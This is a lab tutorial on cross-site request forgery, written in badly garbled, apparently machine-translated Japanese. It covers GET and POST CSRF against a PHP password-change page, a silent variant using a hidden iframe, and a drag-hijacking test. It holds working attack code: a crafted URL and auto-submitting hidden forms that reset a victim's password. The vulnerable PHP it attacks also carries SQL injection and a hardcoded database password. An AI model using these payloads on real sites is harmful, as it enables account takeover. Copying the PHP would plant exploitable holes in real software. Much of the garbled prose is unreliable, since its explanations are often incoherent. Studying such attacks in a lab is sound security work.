0.はじめに
CRSFがセッションの上に構築され、それは非常にクロスサイトスクリプティングのXSS攻撃のように聞こえるが、実際には完全に別の攻撃。アカウントとパスワードを入力していないが、書き込みXSS前に、私は、今日の意志を、私はCSDNの使用を終了した後、多くのサイトが、このような最後の夜など、店舗利用者のログイン情報にクッキーを使用して近くのブラウザを述べ、コンピュータの電源を切り、オープンCSDN自動着陸。
だから何CRSFそれを行うことができますか?オンラインバンキングなどの上陸は、操作を準備しているが、攻撃者が彼にこのURLをクリックしたが、自分のアカウントはたくさんのお金が攻撃者に搬出されたリンクを、送信します。オンラインバンキングまたはがWebサイトにアクセスすると、ブラウザはその後、時間がないアウト内、いずれかの訴訟がセッションで考慮され、設立され、ノード認定セッションを信頼してきたためです。
1.CSRF攻撃
サイト上でビルドする前に、新しいChangePassword.phpを作成し、ヘルプのユーザーにアカウント名とパスワードを変更します。
<?php
$cookie = $_COOKIE['username'];
if (!isset($_COOKIE['username']))
{
echo 'Illegal login!<a href="login.php">please login</a>';
exit();
}
?>
<!DOCTYPE html>
<html lang='zh'>
<head>
<title>change password</title>
<meta charset="UTF-8">
</head>
<body>
<form name="input" action="ChangePwd.php" method="get">
密码 :<br /><label>
<input type="password" name="password">
</label><br>
确认密码 : <br /><label>
<input type="password" name="password_confirm">
</label> <br>
<input type="submit" value="确认">
</form>
</body>
</html>
イベントの送信フォームを処理するためのChangePwd.php:
<?php
$username = $_COOKIE['username'];
if (!isset($username))
{
echo 'Illegal operation<a href="login.php">please login</a>';
exit();
} else{
$password = $_GET['password'];
$password_confirm = $_GET['password_confirm'];
if ($password != $password_confirm){
echo 'Passwords entered twice are inconsistent<a href="ChangePassword.php">please retry</a>';
exit();
}
$conn = new mysqli("localhost","phpadmin", "ppzz4869","PHP");
if ($conn->connect_error){
die("connection fail" . $conn->connect_error);
}
$sql = "select * from user where name='$username'";
$res = $conn->query($sql);
if ($res->num_rows > 0){
$sql = "update user set psw='$password' where name='$username'";
$conn->query($sql) or die("fail!");
$conn->close();
echo "Password reset complete";
} else{
echo 'Illegal operation<a href="login.php">please login</a>';
exit();
}
}
インタフェースは、次のとおりです
:ユーザーがパスワードを入力した後、次のように、インターフェースがあり、パスワードを変更するようになりましたユーザーのニーズと仮定し
たときにパスワードを変更することがわかっ観察してユーザAまたはURLをキャプチャし、サーバーに2つのパラメータを送信し
たパスワードと、A = password_confirm = A。あなたが他の誰かにこのリンクを送信であれば、あなたは誰かの他の人のパスワードを変更することができます。このように、利用者A URL http://192.168.85.128/ChangePwd.php?password=aaa&password_confirm=aaaが
誘発された単語を開くの一部と一緒に、ユーザーADMINに送られます。このサイトは、設定、このURLの管理をユーザーがクリックする「滞在はログイン」しているので、私は彼のパスワードが変更されました。
管理者と何の問題が見つかった場合は、Webページを閉じます。次の着陸地点の結果は、自分のアカウントのパスワードは、単にURLをクリックするので、変更されていました!
そして、リンクにユーザAを送信すると、簡単にログインするためのパスワードを使用するように変更することができます。
2.CSRFの攻撃シナリオ(POST)
それがあるかどうかCSRF方法がGETによるCSRF攻撃の上に示されている、しかし、POSTメソッドのパラメータは、URLに表示されないのだろうか?
パスワードの交換方法は、ポストメソッドを取得する前に、我々は、この時間はあなたがパスワードを変更する場合、パラメータはのURLに表示されていないことが判明し、ページを変更します。
攻撃者のために、パケットは、サーバー間の相互作用を決定し、パスワードを変更するために、見に送信されます。
二つのパラメータ、パスワードやpassword_confirmを渡すPOSTを通じて、確認のためパスワードを変更するにはクリックしたときの分析は、以下のことを発見しました。その後、攻撃者は、このようなページを作成し、攻撃者自身のWebサイトhttp://192.168.85.129/dvwa/hackable/uploads/CRSF.htmlにすることができます:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>post data</title>
</head>
<body>
<form id="myform" method="post" action="http://192.168.85.128/ChangePwd.php">
<input type="hidden" name="password" value="aaa">
<input type="hidden" name="password_confirm" value="aaa">
</form>
<script type="application/javascript">
var myform = document.getElementById("myform");
myform.submit();
</script>
</body>
</html>
上記のコード、構築形態は、JavaScriptを使用して自動的にフォームを送信します。
このリンクをユーザーがクリックすると、あなたが見つけるときに、自動的にCSRF攻撃を完了するためにパスワードを変更するためのインタフェースにジャンプ:
そうはCSRFそれ、POSTとGET要求の違いはありません、いくつかのコードを要求するだけでより多くのPOSTより。
3.静かなCSRF
しかし、そのようなジャンプは明らかに、攻撃者によって知覚されるだろう、攻撃者のコードは、静かに提出されたデータに最適です。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>post data</title>
</head>
<body>
<iframe frameborder="0" name="myifram" width="0px" height="0px"></iframe>
<form id="myform" method="post" target="myifram" action="http://192.168.85.128/ChangePwd.php">
<input type="hidden" name="password" value="aaa">
<input type="hidden" name="password_confirm" value="aaa">
</form>
<script type="application/javascript">
var myform = document.getElementById("myform");
myform.submit();
</script>
</body>
</html>
コードのこの部分が改善され、ページが変更されませんので、要求されたURLは、<ifram>で、しかしiframが隠されていた中で開かれた
が、パスワードが変更されました
4.ドラッグ乗っ取り
2010ブラックハット、総会は、発生する「ブラウザのドラッグイベント」の安全性の問題のいくつかを言及しました。ドラッグ&ドロップのインターフェイスを実装する、あなたは画像やウェブページのテキストを置くことができ、多くのブラウザでは、別のページにドラッグすることができ、これはドラッグと同一生成元ポリシーを制限されることはありません。攻撃者は、データを盗むために目に見えないのiframeドラッグの数からの情報の一部から、ユーザーを誘惑する可能性があるため。
しかし、私の実際のテストでは、私は、この修正された問題の種類や正しい私を助けることができる、この記事を参照したい問題の私の操作を、知りません。
私自身のテストでは、現在の問題は、ブラウザと関連するブラウザをドラッグすると、ほぼ1ページ、非相同ドラッグの問題をブロックしていることが分かりました。
次のようにテストコードがあります:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script>
function Init() {
const source = document.getElementById("source");
const target = document.getElementById("target");
if (source.addEventListener){
target.addEventListener("drop",DumpInfo);
} else {
target.attachEvent("ondrop", DumpInfo);
}
}
function DumpInfo(event) {
const info = document.getElementById("info");
info.innerHTML += "<span style='color:#3355cc;font-size:13px'>" + event.dataTransfer.getData('Text') + "</span><br> ";
}
</script>
</head>
<body onload="Init()">
<div id="source">
<iframe id="iframe_1" src="http://192.168.85.129/dvwa/">
</iframe>
</div>
<div>
<textarea id="target"></textarea>
</div>
<div id="info" style="position:absolute;background-color:#e0e0e0;font-weight:bold; top:600px;">
</div>
</body>
</html>
上記のコード、IFRAMEの確立、http://192.168.85.129/dvwa/に前記開口内。ビーイングはtestareaにドラッグ何かが、それは以下の情報で表示されますがある場合やtestareaの確立は、ドロップイベントをリッスンします。
ドラッグ操作が行われていないクロムブラウザとIEでは、ドラッグはtestareaを入力し、何も起こりません。
情報は、Firefoxがデフォルトの検索エンジンを使用して検索をドラッグしますです
し、私は、同種のiframeページを開こうとしました、test.htmlというを変更します。
<div id="source">
<iframe id="iframe_1" src="http://192.168.85.128">
</iframe>
</div>
この時点で、ノーすなわち、クロムまたはFirefoxブラウザはドラッグ操作することができかまい。
当然の結果、実験現象:現在のブラウザのドラッグ、相同性の内容に制限はありませんが、非相同的な制限の内容にそれを行いますか?
私は間違った場所を補正することができる願っています。